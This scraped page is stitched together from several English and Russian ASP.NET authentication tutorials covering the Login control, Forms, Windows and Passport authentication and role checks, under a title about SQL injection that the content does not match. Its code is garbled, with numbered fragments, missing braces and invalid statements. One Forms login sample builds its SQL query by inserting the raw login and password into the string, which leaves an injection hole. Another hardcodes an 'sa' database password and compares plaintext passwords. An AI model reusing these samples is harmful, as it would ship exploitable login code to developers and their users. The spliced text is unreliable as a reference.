Суждение login asp. SQL Injection от и до

The ASP.NET login controls provide a robust login solution for ASP.NET Web applications without requiring programming. By default, login controls integrate with ASP.NET membership and forms authentication to help automate user authentication for a Web site. It provides you with a ready-to-use user interface that queries the user name and password from the user and offers a Log In button for login. It validate user credentials against the membership API and encapsulating the basic froms authentication functionality like redirecting back to the original requested page in a restricted area of you application after the successful login.

The Login control displays a user interface for user authentication. The Login control contains text boxes for the user name and password and a check box that allows users to indicate whether they want the server to store their identity using ASP.NET membership and automatically be authenticated the next time they visit the site.

The Login control has properties for customized display, for customized messages, and for links to other pages where users can change their password or recover a forgotten password. The Login control can be used as a standalone control on a main or home page, or you can use it on a dedicated login page. If you use the Login control with ASP.NET membership, you do not need to write code to perform authentication. However, if you want to create your own authentication logic, you can handle the Login control"s Authenticate event and add custom authentication code.

Note - Login controls might not function correctly if the Method of the ASP.NET Web page is changed from POST (the default) to GET.

Whenever user hits the Log In button, the control automatically validates the user name and password using the membership API function Membership.ValidateUse() and then calls FormAuthentication.redirectFromLoginPage() if the validation was successful. All options on the UI of the LoginControl affect the input delivered by the control to these methods. For Example, if you click the "Remember me next time" check box, it passes the value true to the createPresistentCookie parameter of the RedirectFromLoginPage() method. Therefore, the FormAuthenticateModule creates a persistent cookie.

There are three Login Tasks by default.

  • Auto Format - you can select default schemes.
  • Convert To Template - You can edit content of Login Control.
  • Administer Website - You can configure Web Site Administration Tools, Like Security, Application, Provider.

  1. "Login1" runat= "server" BackColor= "#F7F7DE" BorderColor= "#CCCC99" BorderStyle= "Solid" BorderWidth= "1px" Font-Names= "Verdana" Font-Size= "10pt" >
  • You can change styles of LoginControl using css too, Like this:

    1. .LoginControl
    2. background-color : #F7F7DE ;
    3. border-color : #CCCC99 ;
    4. border-style : solid ;
    5. border-width : 1px ;
    6. font-family : Verdana ;
    7. font-size : 10px ;

    And now apply css to control:

    1. < html xmlns = "http://www.w3.org/1999/xhtml" >
    2. < head runat = "server" >
    3. < title > Login Control
    4. < link href = "StyleSheet.css" type = "text/css" rel = "Stylesheet" />
    5. < body >
    6. < form id = "form1" runat = "server" >
    7. < div >
    8. < asp:Login ID = "Login1" runat = "server" CssClass = "LoginControl" >
    9. < TitleTextStyle BackColor = "#6B696B" Font-Bold = "True" ForeColor = "#FFFFFF" />

    If you running the page and if the CSS file is placed in a directory where anonymous access is denied, the add the following configuration for the CSS file to you web.config file.

    1. < location path = "StyleSheet.css" >
    2. < system.web >
    3. < authorization >
    4. < allow users = "*" />

    You can add several hyperlinks to your Login control, such as hyperlink to a help text page, or a hyperlink to to a registration page.

    1. < asp:Login ID = "Login1" runat = "server" CssClass = "LoginControl"
    2. CreateUserText = "Register"
    3. CreateUserUrl = "~/Register.aspx"
    4. HelpPageText = "Additional Help" HelpPageUrl = "~/Help.aspx"
    5. InstructionText = "Please enter your user name and password for login." >
    6. < TitleTextStyle BackColor = "#6B696B" Font-Bold = "True" ForeColor = "#FFFFFF" />

    Looks like this:

    Here is .CS Code:

    1. using System;
    2. using System.Collections.Generic;
    3. using System.Linq;
    4. using System.Web;
    5. using System.Web.UI;
    6. using System.Web.UI.WebControls;
    7. using System.Data.SqlClient;
    8. public partial class _Default: System.Web.UI.Page
    9. protected void Page_Load(object sender, EventArgs e)
    10. if (! this .IsPostBack)
    11. protected void Login1_Authenticate(object sender, AuthenticateEventArgs e)
    12. if (YourValidationFunction(Login1.UserName, Login1.Password))
    13. // e.Authenticated = true;
    14. Login1.Visible = false ;
    15. MessageLabel.Text = "Successfully Logged In" ;
    16. else
    17. e.Authenticated = false ;
    18. protected void Login1_LoginError(object sender, EventArgs e)
    19. if (ViewState[ "LoginErrors" ] == null )
    20. ViewState["LoginErrors" ] = 0;
    21. int ErrorCount = (int )ViewState[ "LoginErrors" ] + 1;
    22. ViewState["LoginErrors" ] = ErrorCount;
    23. if ((ErrorCount > 3) && (Login1.PasswordRecoveryUrl != string .Empty))
    24. Response.Redirect(Login1.PasswordRecoveryUrl);
    25. private bool YourValidationFunction(string UserName, string Password)
    26. bool boolReturnValue = false ;
    27. string strConnection = "server=.;database=Vendor;uid=sa;pwd=wintellect;" ;
    28. SqlConnection sqlConnection = new SqlConnection(strConnection);
    29. String SQLQuery = "SELECT UserName, Password FROM Login" ;
    30. SqlCommand command = new SqlCommand(SQLQuery, sqlConnection);
    31. SqlDataReader Dr;
    32. sqlConnection.Open();
    33. Dr = command.ExecuteReader();
    34. while (Dr.Read())
    35. if ((UserName == Dr[ "UserName" ].ToString()) & (Password == Dr[ "Password" ].ToString()))
    36. boolReturnValue = true ;
    37. Dr.Close();
    38. return boolReturnValue;
    39. return boolReturnValue;

    If you insert wrong username and password then message will show like this:

    If you insert right usename, password then redirect your page whereever you want or you can show message in ErrorLabel, Like this:

    I am attaching my database with application in App_Data folder, if u want use my database then attach my .MDF file.

    Any question and queries ask me any time.

    Элемент управления Login

    Элемент управления Login упрощает создание страницы входа для аутентификации с помощью форм в сочетании с Membership API. Он предоставляет готовый к применению пользовательский интерфейс, запрашивающий имя и пароль пользователя и предлагающий кнопку для входа пользователя. "За кулисами" он инкапсулирует функциональность, которая была описана в предыдущей статье: проверку удостоверений пользователей через Membership API и инкапсуляцию базовой функциональности аутентификации с помощью форм, такой как перенаправление к изначально запрошенной странице в защищенной области приложения после успешного входа.

    Это значит, что Login инкапсулирует такие вещи, как Membership.ValidateUser() или FormsAuthentication.RedirectFromLoginPage(), поэтому писать этот код самостоятельно не придется. На рисунке ниже показан элемент управления Login в действии:

    Всякий раз, когда пользователь щелкает на кнопке Log In (Войти), элемент управления автоматически проверяет имя и пароль, применяя для этого функцию Membership.ValidateUser(), а затем вызывает FormsAuthenication.RedirectFromLoginPage(), если проверка прошла успешно. Все опции элемента управления Login влияют на ввод, доставляемый им в эти метода. Например, если отметить флажок Remember me next time (Запомнить учетные данные), он передаст значение true в параметре createPersistentCookie метода RedirectFromLoginPage(). Поэтому FormsAuthenticationModule создает постоянный cookie-набор.

    "За кулисами" Login представляет собой составной элемент управления ASP.NET. Он полностью расширяем - в том смысле, что позволяет переопределять любые стили компоновки и свойства, а также перехватывать генерируемые события для переопределения его поведения по умолчанию. Если оставить элемент управления без изменений, как он есть, и не перехватывать никаких событий, то он автоматически будет использовать поставщик членства, сконфигурированный для приложения.

    Простейшая форма элемента управления Login на странице выглядит следующим образом:

    Для изменения внешнего вида элемента управления Login предназначено несколько свойств. Можно применять разные установки стилей, как показано ниже:

    Кроме того, для настройки внешнего вида Login можно использовать классы CSS. Каждое свойство стиля, поддерживаемое элементом управления Login, включает свойство CssClass. Как и в случае любого другого элемента управления ASP.NET, это свойство позволяет указать имя класса CSS, который был добавлен ранее к веб-сайту. Предположим, что в проект добавлена следующая таблица стилей CSS с именем файла MyStyles.css:

    MyLoginTextBoxStyle { cursor: pointer; background-color: yellow; text-align: center; padding:6px; border: dotted black; font-family: Verdana; vertical-align: middle; } .Login { display:inline-block; } .Title { padding: 6px; }

    Этот файл стиля можно включить в страницу входа, чтобы иметь возможность использовать стиль для элемента Login:

    В таблице ниже перечислены стили, поддерживаемые элементом управления Login. Каждый стиль работает одним и тем же способом. Свойства шрифта и цвета можно устанавливать непосредственно или применять свойство CssClass для указания нужного класса CSS:

    Стили, поддерживаемые элементом управления Login
    Стиль Описание
    CheckBoxStyle

    Определяет свойства стиля для флажка Remember me next time (Запомнить учетные данные)

    FailureStyle

    Определяет стиль для текста, который отображается а случае неудачного входа

    HyperLinkStyle

    Элемент управления Login позволяет определить несколько типов гиперссылок, например, на страницу начальной регистрации. Этот стиль задает внешний вид таких гиперссылок

    InstructionTextStyle

    Элемент управления Login позволяет указать текст справки, отображаемый непосредственно в нем самом. Этот стиль задает внешний вид этого текста

    LabelStyle

    Определяет стиль для меток User Name (Имя пользователя) и Password (Пароль)

    LoginButtonStyle

    Определяет стиль кнопки входа

    TextBoxStyle

    Определяет стиль для текстовых полей User Name (Имя пользователя) и Password (Пароль)

    TitleTextStyle

    Определяет стиль текста заголовка для элемента управления Login

    ValidatorTextStyle

    Определяет стили для элементов управления, используемых для проверки имени и пароля пользователя

    Пользовательский интерфейс элемента Login настраивается не только через эти стили; другие дополнительные свойства предназначены для определенных частей содержимого элемента управления, таких как кнопка Log In, которые также позволяют настроить графический интерфейс.

    Например, можно выбрать текст, отображаемый на кнопке входа, либо вообще отображать вместо этой кнопки (как установлено по умолчанию) гиперссылку. Более того, к элементу управления Login можно добавить несколько гиперссылок, таких как ссылка на страницу справки или на страницу регистрации. Обе страницы должны быть открыты для анонимного доступа, поскольку справка должна предлагаться также анонимным пользователям (вспомните, что если кто-то видит элемент управления Login, то он - потенциально анонимный пользователь). Чтобы включить дополнительные ссылки в Login, модифицируйте ранее показанное определение следующим образом:

    ...

    Этот код приводит к отображению двух дополнительных ссылок - на страницу справки и на страницу первоначальной регистрации, а также добавляет текст краткой инструкции под заголовком элемента Login:

    Стили, описанные ранее, применимы и к этим свойствам. В таблице ниже описаны важные свойства для настройки элемента управления Login:

    Важные свойства для настройки элемента управления Login
    Свойство Описание
    Текст сообщений
    TitleText

    Текст, отображаемый в заголовке элемента управления

    InstructionText

    Это свойство уже использовалось в предыдущем фрагменте кода. Содержит текст, отображаемый ниже заголовка элемента управления

    FailureText

    Текст, отображаемый элементом управления Login, если попытка входа не удалась

    UserNameLabelText

    Текст, отображаемый в виде метки перед текстовым полем имени пользователя

    PasswordLabelText

    Текст, отображаемый в виде метки перед текстовым полем пароля пользователя

    UserName

    Начальное значение, заполняющее текстовое поле имени пользователя

    UsernameRequiredErrorMessage

    Сообщение об ошибке, отображаемое, если пользователь не ввел имя

    PasswordRequiredErrorMessage

    Сообщение об ошибке, отображаемое, если пользователь не ввел пароль

    Кнопка входа
    LoginButtonText

    Текст, отображаемый на кнопке входа

    LoginButtonType
    LoginButtonImageUrl

    Если кнопка входа представлена как графическое изображение, необходимо указать URL, где находится это изображение

    Страница входа
    DestinationPageUrl

    Если попытка входа была успешной, элемент управления Login перенаправляет пользователя на эту страницу. По умолчанию это свойство пусто. При пустом значении используется инфраструктура аутентификации с помощью форм для перенаправления либо на исходную запрошенную страницу, либо на defaultUrl, сконфигурированный в web.config для аутентификации с помощью форм

    FailureAction

    Определяет действие, которое элемент управления выполняет после неудачной попытки входа. Два допустимых варианта - Refresh и RedirectToLoginPage. Первое значение приводит к обновлению только текущей страницы, а второе - к перенаправлению на сконфигурированную страницу входа. Второй вариант полезен, если элемент управления Login используется где-то в другом месте, а не на странице входа

    VisibleWhenLoggedIn

    Если установлено в false, то элемент управления автоматически скрывает себя, если пользователь уже вошел. Если установлено в true (по умолчанию), то элемент Login отображается, даже если пользователь совершил вход

    Настройка метки "Запомнить меня"
    DisplayRememberMe

    Позволяет показывать или скрывать флажок Remember me next time (Запомнить меня). По умолчанию это свойство установлено в true

    RememberMeSet

    Определяет значение по умолчанию флажка Remember me next time. По умолчанию это свойство установлено в false, т.е. флажок не отмечен

    Страница регистрации
    CreateUserUrl

    Определяет гиперссылку на страницу веб-сайта, которая позволяет создавать (регистрировать) пользователя. Таким образом, это обычно используется для открытия пользователю доступа к странице первичной регистрации. Обычно при этом отображается элемент управления CreateUserWizard

    CreateUserText
    CreateUserIconUrl

    URL-адрес графического изображения, выводимого вместе с текстом гиперссылки CreateUserUrl

    Страница помощи
    HelpPageUrl

    URL-адрес для перенаправления пользователя на страницу справки

    HelpPageText
    HelpPageIconUrl

    URL-адрес значка, отображаемого вместе с текстом гиперссылки HelpPageUrl

    Страница восстановления пароля
    PasswordRecoveryUrl

    URL-адрес для перенаправления пользователя на страницу восстановления пароля. Эта страница применяется, когда пользователь забыл пароль. Обычно она отображает элемент управления PasswordRecovery

    PasswordRecoveryText
    PasswordRecoveryIconUrl

    URL-адрес значка, отображаемого вместе с текстом гиперссылки PasswordRecoveryUrl

    Шаблоны и элемент управления Login

    Как видите, благодаря всем этим свойствам элемент управления Login настраивается очень гибко. Но как вы, скорее всего, обратили внимание, определить какое-нибудь выражение для проверки достоверности ввода невозможно. Конечно, можно реализовать проверку достоверности на стороне сервера внутри процедур событий, предлагаемых элементом управления Login. Когда требуется добавить какие-то элементы к составному элементу управления Login, это не получится сделать через представленные выше свойства. Например, что если понадобится второе текстовое поле для надежной аутентификации со вторым паролем или пользовательским ключом доступа, как это делается на некоторых правительственных сайтах?

    К счастью, подобно другим элементам управления, таким как GridView, элемент Login поддерживает шаблоны. С помощью шаблонов можно настраивать содержимое элемента управления Login без каких-либо ограничений. К нему можно добавлять любые новые элементы управления. Применяется специальный шаблон к элементу управления Login с помощью дескриптора LayoutTemplate :

    Войти в систему

    Имя пользователя:
    Пароль:


    Если посмотреть на приведенный код, то возникает один вопрос: если при настройке шаблона приходится писать настолько много кода пользовательского интерфейса (или проектировать его в визуальном конструкторе), так почему бы ни написать собственную страницу входа, не применяя элемента управления Login?

    Это правильный вопрос. Однако, как объяснялось ранее, интерфейсная часть - это только одна часть элемента Login. Например, на случай, когда пользователь щелкает на кнопке входа, элемент управления Login уже имеет весь необходимый код для автоматической проверки пользователя по хранилищу членства и перенаправляет его на исходную запрошенную им страницу через инфраструктуру аутентификации с помощью форм. Так что вы определенно избавлены от необходимости написания этого кода.

    С правильными элементами управления и корректными значениями идентификаторов для этих элементов управления не понадобится писать код обработки событий. Код работает обычным образом, за исключением того, что вы определяете набор элементов управления и их компоновку. В действительности элемент управления Login требует как минимум двух текстовых полей с идентификаторами UserName и Password. Если эти два текстовых поля отсутствуют (или имеют другие значения идентификатора), то Login сгенерирует исключение. Все остальные элементы управления не обязательны, но если вы указываете соответствующее значение идентификатора (такое как Login для кнопки входа), то Login автоматически обработает их события, и будет вести себя так, как тогда, когда применяется компоновка по умолчанию.

    В таблице ниже перечислены специальные значения идентификаторов, требуемые для них типы элементов и признак обязательности:

    Элементом управления с идентификатором Login может быть любой, поддерживающий пузырьковое распространение событий и свойство CommandName. Важно установить свойство CommandName этого элемента в Login, т.к. в противном случае элемент управления Login не будет распознавать его в процессе обработки событий. Если не добавить элемент управления со свойством CommandName, установленным в Login, придется обрабатывать события самостоятельно и писать соответствующий код для проверки имени пользователя и пароля, а также перенаправления на исходную запрошенную страницу.

    Можно также добавлять элементы управления с другими идентификаторами, которые вообще не имеют отношения к Login. В показанном выше коде применялись элементы RequiredFieldValidator и RegularExpressionValidator для проверки полей имени пользователя и пароля.

    При использовании LayoutTemplate многие свойства, изначально присущие элементу управления, становятся недоступными. Когда применяется шаблон, остаются доступными только следующие свойства:

      DestinationPageUrl

      VisibleWhenLoggedIn

    • MembershipProvider

    Все свойства стиля и несколько свойств настройки текстового содержимого элементов по умолчанию больше не доступны в редакторе свойств Visual Studio, поскольку их можно добавить вручную как отдельные элементы управления или статический текст к шаблону элемента Login. Если вы будете добавлять их к элементу Login в режиме шаблона, они просто будут игнорироваться, потому что шаблон переопределяет интерфейс по умолчанию элемента Login, который пользуется этими свойствами.

    Программирование элемента управления Login

    Элемент управления Login поддерживает несколько событий и свойств, которые можно применять для настройки его поведения. Они предоставляют полный контроль над тонкой настройкой элемента управления Login (наряду с другими средствами настройки, такими как шаблоны и свойства стиля). Элемент управления Login поддерживает события, перечисленные в таблице ниже:

    События элемента управления Login
    Событие Описание
    LoggingIn

    Инициируется непосредственно перед аутентификацией пользователя элементом управления

    LoggedIn

    Инициируется после того, как пользователь аутентифицирован элементом управления

    LoginError

    Инициируется при неудачной попытке входа пользователя по какой-либо причине (например, из-за неправильного пароля или имени пользователя)

    Authenticate

    Инициируется для аутентификации пользователя. Если вы обрабатываете это событие, то должны аутентифицировать пользователя самостоятельно, и элемент управления Login будет полностью полагаться на ваш код аутентификации

    Первые три события можно обрабатывать для выполнения некоторых действий перед аутентификацией пользователя, после аутентификации и в случае возникновения ошибки во время осуществления аутентификации. Например, событие LoginError можно использовать для автоматического перенаправления пользователя на страницу восстановления пароля после определенного количества попыток входа, как показано ниже:

    Protected void Page_Load(object sender, EventArgs e) { if (!this.IsPostBack) ViewState["LoginErrors"] = 0; } protected void Login1_LoginError(object sender, EventArgs e) { // Если состояние LoginErrors не существует, создать его if (ViewState["LoginErrors"] == null) ViewState["LoginErrors"] = 0; // Увеличить счетчик неудачных попыток входа int ErrorCount = (int)ViewState["LoginErrors"] + 1; ViewState["LoginErrors"] = ErrorCount; // Проверить количество неудачных попыток if ((ErrorCount > 3) && (Login1.PasswordRecoveryUrl != string.Empty)) Response.Redirect(Login1.PasswordRecoveryUrl); }

    Элемент управления Login генерирует события в порядке, представленном на рисунке ниже:

    Как упоминалось ранее, если вы перехватываете событие Authenticate, то должны добавить собственный код проверки имени пользователя и пароля. Свойство Authenticate поддерживает экземпляр AuthenticateEventArgs списка параметров. Этот класс аргумента события поддерживает одно свойство по имени Authenticated. Если установить его в true, то элемент управления Login предполагает, что аутентификация прошла успешно, и инициирует событие LoggedIn. Если же установить это свойство в false, будет отображен FailureText и инициировано событие LoginError:

    Protected void Login1_Authenticate(object sender, AuthenticateEventArgs e) { if (Membership.ValidateUser(Login1.UserName, Login1.Password)) { e.Authenticated = true; } else { e.Authenticated = false; } }

    Как видите, имеется прямой доступ к введенным значениям через свойства UserName и Password, которые содержат текст, введенный в соответствующие текстовые поля. Если вы используете шаблонные элементы управления и хотите получить значение из другого элемента, в дополнение к элементам с идентификаторами UserName и Password, то для этого можете использовать метод FindControl() для получения этого дополнительного элемента. Этот метод принимает идентификатор нужного элемента и возвращает экземпляр System.Web.UI.Control. Затем полученный объект просто приводится к типу требуемого элемента управления и читается значение, необходимое специальному методу проверки удостоверения пользователя.

    Большинство web-сайтов работают в режиме анонимного доступа. Они содержат информацию, которую могут просматривать все желающие, и поэтому не проводят аутентификацию пользователей. Web-приложения ASP.NET предоставляют анонимный доступ к серверным ресурсам посредством назначения учетной записи анонимному пользователю. По умолчанию учетная запись для анонимного доступа имеет имя в виде IUSER _ имя компьютера.

    ASP.NET исполняет web-приложения под учетной записью ASPNET. Это означает, что при выполнении задачи, не предусмотренной привилегиями пользователя (например, запись файла на диск), приложение получает отказ в доступе.
    Идентификация пользователей применяется в тех случаях, когда нужно предоставить доступ к разделам web -приложения только для определенных пользователей. Это может быть Internet -магазины, форумы, закрытые разделы в корпоративных Intranet -сайтах и так далее.
    Безопасность в приложениях ASP.NET основана на трех операциях:

    • Аутентификация – процесс идентификации пользователя для предоставления доступа к какому-то ресурсу приложения (разделу сайта, странице, базе данных, …). Аутентификация основана на проверке сведений о пользователе (например, имени и пароля);
    • Авторизация – процесс предоставления доступа пользователю на основе данных аутентификации;
    • Олицитворение (impersonalisation) – предоставление серверному процессу ASP.NET прав доступа клиента.
    Существует три способа аутентификации пользователей в приложениях ASP.NET:
    • аутентификация Windows - применяется для идентификации и авторизации пользователей в зависимости от привилегий учетной записи пользователя. Работает аналогично обычным механизмам сетевой безопасности Windows и выполняется контроллером домена;
    • аутентификация Forms - пользователь вводит логин и пароль в Web -форме, после чего авторизация происходит по списку пользователей, хранящемуся, например, в базе данных. Применяется на большинстве Internet-сайтов при регистрации в Inernet -магазинах, форумах, пр;
    • аутентификация Passport - все пользователи имеют единое имя и пароль, используемые для сайтов, использующих данный тип авторизации. Пользователи регистрируются в службе Microsoft Passport.
    Важно отметить, что аутентификация ASP.NET применяются только для web -форм (.aspx -файлы), контролов (.ascx -файды) и прочих ресурсов ASP.NET. HTML-файлы не входят в этот список. Для авторизации доступа к HTML -файлам нужно их зарегистрировать вручную!
    Тип аутентификации указывается в конфигурационном файле Web.config:


    По умолчанию применяется тип аутентификации Windows. Значение None имеет смысл устанавливать если используется собственная схема аутентификации или анонимный доступ (для повышения производительности).
    Аутентификация Windows. Существует 4 типа аутентификации Windows: обычная (basic), краткая (digest), встроенная (integated) и на основе клиентских сертификатов SSL. Обычную и краткую аутентификацию применяют для идентификации имени пользователя и пароля, указываемом в диалоговом окне. Они хорошо работают в Internet , так как данные передаются по HTTP. Базовая аутентификация передает пароль и имя пользователя в кодировке Base 64, которую легко раскодировать. Для повышения безопасности можно использовать базовую аутентификацию совместно с SSL. Базовую аутентификация поддерживают большинство браузеров.
    Краткая аутентификация является более безопасной, так как пароль шифруется по алгоритму MD 5. Она поддерживается браузерами Internet Explorer 5.0 и выше, либо на клиентской машине должен быть установлен. NET Framework. Кроме этого, учетные записи пользователей должны храниться в Active Directory.
    Встроенная аутентификация применяется для идентификации учетных записей Windows и не может применяться в Internet , так как клиент и сервер должны пройти проверку контроллером домена. При этом пароли по сети не передаются, что увеличивает безопасность приложения. Этот тип аутентификации блокируется файрволами и работает только с Internet Explorer. Встроенная аутентификации немного медленнее, чем базовая или краткая.
    Применение сертификатов SSL так же обычно применяется в Intranet , т.к. требует раздачи цифровых сертификатов. При этом типе аутентификации пользователям не нужно регистрироваться. Сертификаты можно сопоставить учетным записям пользователей в домене или Active Directory.

    Для указания способа аутентификации нужно выполнить следующие действия:
    1. Запустить диспетчер IIS
    2. Щелкнуть правой кнопкой мыши по приложению и выбрать в контекстном меню Свойства.
    3. В появившимся диалоге перейти на вкладку Безопасность каталога и нажать кнопку Изменить в разделе Анонимный доступ и проверка подлинности .

    4. В диалоге Методы проверки подлинности указать тип аутентификации.


    5. Указать права доступа к папке или отдельным файлам в папке Web -приложения. Обязательно нужно разрешить доступ для пользователя ASPNET.








    В данном случае разрешен доступ для пользователя DENIS и запрещен доступ для всех остальных. Вместо имени пользователя может быть и название роли, к которой принадлежат пользователи – администраторы, менеджеры, …:










    Если мы хотим защитить он неаутентифицированных пользователей папку полностью (например, папку, содержащую формы для администрирования сайта), то нужно разместить в ней файл Web.config с таким содержанием (cимвол «?» означает анонимных неавторизированных пользователей):







    Если же мы хотим защитить только один файл (например, для подтверждения заказа в Internet -магазине), то в Web.config из корневой папки нужно добавить такие строки:







    Приложение извлекает данные пользователей с помощью свойства Identity класса User. Это свойство возвращает объект, содержащий имя пользователя и роль.

    bool authenticated = User.Identity.IsAuthenticated ;
    string name = User.Identity.Name;
    bool admin = User.IsInRole("Admins");

    Forms-аутентификация

    При использовании Forms-аутентификации запрос параметров регистрации (например, логина и пароля) происходит в web-форме. Регистрационная страница указывается в файле Web.config. При первом обращении к защищаемым страницам ASP.NET перенаправляет пользователя на страницу для ввода пароля. При успешной регистрации аутентификационные данные сохраняются в виде cookie и при повторном обращении к защищенным страницам регистрация не требуется.
    Для того, чтобы использовать Forms-аутентификацию в файле Web.config в корневой папке приложения нужно указать страницу для ввода пароля:



    При попытке просмотра защищенной страницы ASP.NET проверяет, есть ли аутентификационных cookie в запросе. Если cookie нет, то запрос перенаправляется на страницу для регистрации, если есть - ASP.NET дешифрует cookie и извлекает из него регистрационную информацию.

    На форме находятся поля для ввода логина и пароля и флажок для сохраняемой регистрации. При нажатии кнопки «Войти» происходит поиск пользователя с таким логином и паролем. Если такой пользователь найден, вызывается функция FormsAuthentication.RedirectFromLoginPage (), в которой указывается идентификатор пользователя и флаг для сохраняемой регистрации. Если же нет – выводится сообщение об ошибке.

    protected void btnLogin_Click(object sender, System.EventArgs e)
    {
    if (!IsValid) // проверяем правильность введенных данных
    return;

    OleDbConnection connection = GetDbConnection();

    Try
    {
    connection.Open();

    OleDbCommand command = new OleDbCommand(string.Format("SELECT id FROM Customers WHERE login="{0}" AND password="{1}"", login, password), connection);

    OleDbDataReader reader = command.ExecuteReader();
    if (!reader.Read()) // пароль или логин неверны
    {
    lblError.Text = "Неверный пароль – попробуйте еще раз";
    return ;
    }

    String id = return reader.GetInt32(0).ToString();

    FormsAuthentication.RedirectFromLoginPage(id, chkbRememberLogin.Checked);
    }
    catch (OleDbException ex)
    {
    lblError.Text = "Ошибка базы данных";
    }
    finally
    {
    connection.Close();
    }
    }

    Аутентификации на основе ролей

    Для аутентификации на основе ролей применяется атрибут roles тега allow. Например, если мы хотим запретить доступ всем, кроме пользователей из группы Admin , мы должны вставить такие строки в файл Web.config.




    Затем при каждом запросе нужно связывать учетные записи пользователей и роли. Обычно это делается в обработчике события AuthenticateRequest в файле Global.asax.

    protected void Application_AuthenticateRequest(Object sender, EventArgs e)
    {
    HttpApplication appl = (HttpApplication)sender;

    If (appl.Request.IsAuthenticated && appl.User.Identity is FormsIdentity)
    {
    FormsIdentity identity = (FormsIdentity)appl.User.Identity;

    DataTable tblUsers = (DataTable)Application["UsersTable"];
    appl.Context.User = new GenericPrincipal(identity,
    new string {(string)(tblUsers.Rows.Find(identity.Name)["Role"]) });
    }
    }

    В коде проверяется тип аутентификации пользователя и то, что он уже зарегистрирован. Имя пользователя извлекается из cookie свойством Name. Таблица с именами пользователей и их ролями для повышения быстродействия была сохранена в объекте Application. Из этой таблицы и находим роль пользователя, которую сохраняем в объекте GenericPrincipal.

    Параметры аутентификации

    Если второй параметр функции RedirectFromLoginPage () равен false , то время жизни сеансового cookie , генерируемого ASP.NET , равно по умолчанию 30 минутам. Для изменения этого интервала служит параметр timeout тега forms в файле Web.config. Установим время действия аутентификации в 3 часа.



    Когда сеансовый cookie возвращается в следующих после регистрации запросах, он автоматически обновляется, если время жизни истекло больше чем на половину. Время же жизни сохраняемых cookie равно 50 годам.
    Можно указать имя аутентификационных cookie , поместив его в атрибут name (имя по умолчанию - ASPXAUTH):



    По умолчанию аутентификацонные cookie шифруются и проверяются. Уровень защиты можно указать через атрибут protection , значение по умолчанию которого All. Значение Validation предписывает только проверку cookie , а значение Encript – только шифрование. Полностью отключить защиту можно указав значение None. Отключать защиту имеет смысл если данные передаются по протоколу HTTPS.




    Сброс forms-аутентификации

    Сброс регистрации можно увидеть на многих сайтах. Для сброса аутентификации применяется метод FormsAuthentication.SignOut (). Он устанавливает дату окончания действия cookie на прошедшее время и cookie автоматически уничтожается.

    Аутентификация Passport

    При аутентификации Passport пользователи могут входить на разные web -сайты пользуясь единым удостоверением службы Microsoft Passport. Это освобождает пользователя от регистрации на каждом сайте, а сами сайты получают сведения о пользователе из профиля, хранимого Microsoft.

    Для использования Passport аутентификации в web -приложении нужно установить Passport SDK. Passport SDK предоставляется бесплатно для тестирования, но для коммерческого использования на сайте необходимо приобретать лицензию.
    При обращении к приложению с Passport аутентификацией проверяется наличие cookie с данные Passport. Если такого файла нет, пользователь перенаправляется на страницу для регистрации Passport.
    Для включения данного режима аутентификации в файле Web. config нужно указать следующее:

    Для обязательной регистрации всех посетителей сайта в разделе autorization нужно запретить доступ неавторизированным пользователем:



    Получить доступ к сведениям о пользователе можно с помощью события PassportAuthentication _ OnAuthenticate в файле Global.asax:

    protected void PassportAuthentication_OnAuthenticate(Object sender, PassportAuthenticationEventArgs e)
    {
    System.Web.Security.PassportIdentity id = e.Identity;
    if(id.IsAuthenticated)
    {
    Session["PassportID"] = e.Identity.Name;
    Session["Name"] = e.Identity["FirstName"] + e.Identity["LastName":];
    Session["Email"] = e.Identity["PrefferedEmail"];
    }
    }

    Кондратьев Денис

    Давайте теперь перейдём к описанию процесса аутентификации непосредственно в рамках среды ASP.NET, где для вашего выбора предоставлены 3 вида аутентификации:

    * Аутентификация Windows
    * Формой
    * Паспортом

    Аутентификация Windows:

    Как и следует из названия, этот метод основывается на использовании учётных записей Windows. Такой метод уместен, если вы создаёте приложение для локальной сети, и все действующие учётные записи и группы хранятся на заранее определённом домене. При этом нужно быть очень осторожными, назначая права доступа пользователям, поскольку вы одновременно задаёте и права для работы в Windows. Для того, чтобы настроить ASP.NET на работу в режиме Windows аутентификации необходимо изменить файл настройки Web-проекта Web.config или при необходимости конфигурационный файл всего сервера, расположенный по адресу WINDOWS_FOLDERMicrosoft.NET

    Framework.NET versionCONFIGMachine.config. В нашем примере мы будем работать исключительно с файлом проекта – Web.config, в котором вам нужно найти раздел authentication и присвоить его атрибуту mode значение Windows:

    Теперь можно приступить непосредственно к программированию и реализации аутентификации на основе Windows. В помощь вам класс WindowsIdentity, который служит специально для работы с аутентификацией Windows. Вообще, для аутентификации, базирующейся на Windows, существуют два основных класса, предоставляемых.NET Framework:

    * GenericIdentity – только реализует интерфейс IIdentity и не относится к какому-то определённому типу аутентификации
    * WindowsIdentity – также является реализацией интерфейса IIdentity, но плюс ещё и включает методы, характерные только для аутентификации на основе Windows

    Имя пользователя и группы хранятся в объекте WindowsIdentity в следующем формате: DOMAINUserName и DOMAINGroup соответственно. Исключение составляют лишь встроенные группы, например группа Administrators, для обращения к ней можно использовать строку подключения через WindowsIdentity: BUILTINAdministrators. Или же можно задать встроенную группу из перечисления System.Security.Principal.WindowsBuiltInRole.

    Из рис. 1 видно, что объект WindowsIdentity позволяет получить имя пользователя; определить тип аутентификации; установить, была ли аутентификация проведена анонимно; также можно узнать, прошёл пользователь аутентификацию или нет, гость он или системный пользователь.

    Рис. 1 – Объект WindowsIdentity

    Поскольку в приложениях ASP.NET для обращения к объекту WindowsIdentity нужно будет выстроить следующую цепочку:

    HttpContext.Current.User.Identity, то вы сможете также определить, к какой роли принадлежит текущий пользователь. Это можно достичь благодаря тому, что свойство User в этой цепочке реализует интерфейс Iprincipal, который позволяет определить принадлежность пользователя к определённой роли путём вызова функции IsInRole, имеющей следующий синтаксис:

    Public Overridable Function IsInRole(ByVal role As String) As Boolean Member of: System.Security.Principal.Iprincipal

    Но давайте ненадолго отойдём от голой теории и попробуем реализовать практический пример. Для этого создайте новый проект ASP.NET Web Application и введите следующий код:
    Default.aspx:

    <%@ Page Language="vb" AutoEventWireup="false" Codebehind="default.aspx.vb" Inherits="AuthSample.WebForm1"%> Authentication Sample

    Default.aspx.vb:

